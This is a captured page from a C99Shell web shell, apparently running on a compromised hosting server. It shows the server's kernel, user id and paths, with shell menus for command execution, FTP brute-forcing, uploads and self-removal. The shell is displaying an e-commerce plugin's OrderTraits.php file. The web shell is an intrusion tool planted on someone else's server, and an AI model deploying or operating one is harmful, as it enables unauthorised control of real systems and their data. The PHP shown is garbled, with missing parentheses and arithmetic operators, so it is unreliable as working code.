!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/Overrides/   drwxr-xr-x
Free 293.23 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OrderTraits.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * KKART Admin Order Trait
 *
 * KKART Admin Order Trait class that houses shared functionality across order and refund classes.
 */

namespace Automattic\Kkart\Admin\Overrides;

defined'ABSPATH' ) || exit;

/**
 * OrderTraits class.
 */
trait OrderTraits {
    
/**
     * Calculate shipping amount for line item/product as a total shipping amount ratio based on quantity.
     *
     * @param KKART_Order_Item $item Line item from order.
     *
     * @return float|int
     */
    
public function get_item_shipping_amount$item ) {
        
// Shipping amount loosely based on kkart code in includes/admin/meta-boxes/views/html-order-item(s).php
        // distributed simply based on number of line items.
        
$product_qty $item->get_quantity'edit' );
        
$order_items $this->get_item_count();
        if ( 
=== $order_items ) {
            return 
0;
        }

        
$total_shipping_amount = (float) $this->get_shipping_total();

        return 
$total_shipping_amount $order_items $product_qty;
    }

    
/**
     * Calculate shipping tax amount for line item/product as a total shipping tax amount ratio based on quantity.
     *
     * Loosely based on code in includes/admin/meta-boxes/views/html-order-item(s).php.
     *
     * @todo If KKART is currently not tax enabled, but it was before (or vice versa), would this work correctly?
     *
     * @param KKART_Order_Item $item Line item from order.
     *
     * @return float|int
     */
    
public function get_item_shipping_tax_amount$item ) {
        
$order_items $this->get_item_count();
        if ( 
=== $order_items ) {
            return 
0;
        }

        
$product_qty               $item->get_quantity'edit' );
        
$order_taxes               $this->get_taxes();
        
$line_items_shipping       $this->get_items'shipping' );
        
$total_shipping_tax_amount 0;
        foreach ( 
$line_items_shipping as $item_id => $shipping_item ) {
            
$tax_data $shipping_item->get_taxes();
            if ( 
$tax_data ) {
                foreach ( 
$order_taxes as $tax_item ) {
                    
$tax_item_id                $tax_item->get_rate_id();
                    
$tax_item_total             = isset( $tax_data['total'][ $tax_item_id ] ) ? (float) $tax_data['total'][ $tax_item_id ] : 0;
                    
$total_shipping_tax_amount += $tax_item_total;
                }
            }
        }
        return 
$total_shipping_tax_amount $order_items $product_qty;
    }

    
/**
     * Calculates coupon amount for specified line item/product.
     *
     * Coupon calculation based on kkart code in includes/admin/meta-boxes/views/html-order-item.php.
     *
     * @param KKART_Order_Item $item Line item from order.
     *
     * @return float
     */
    
public function get_item_coupon_amount$item ) {
        return 
floatval$item->get_subtotal'edit' ) - $item->get_total'edit' ) );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0966 ]--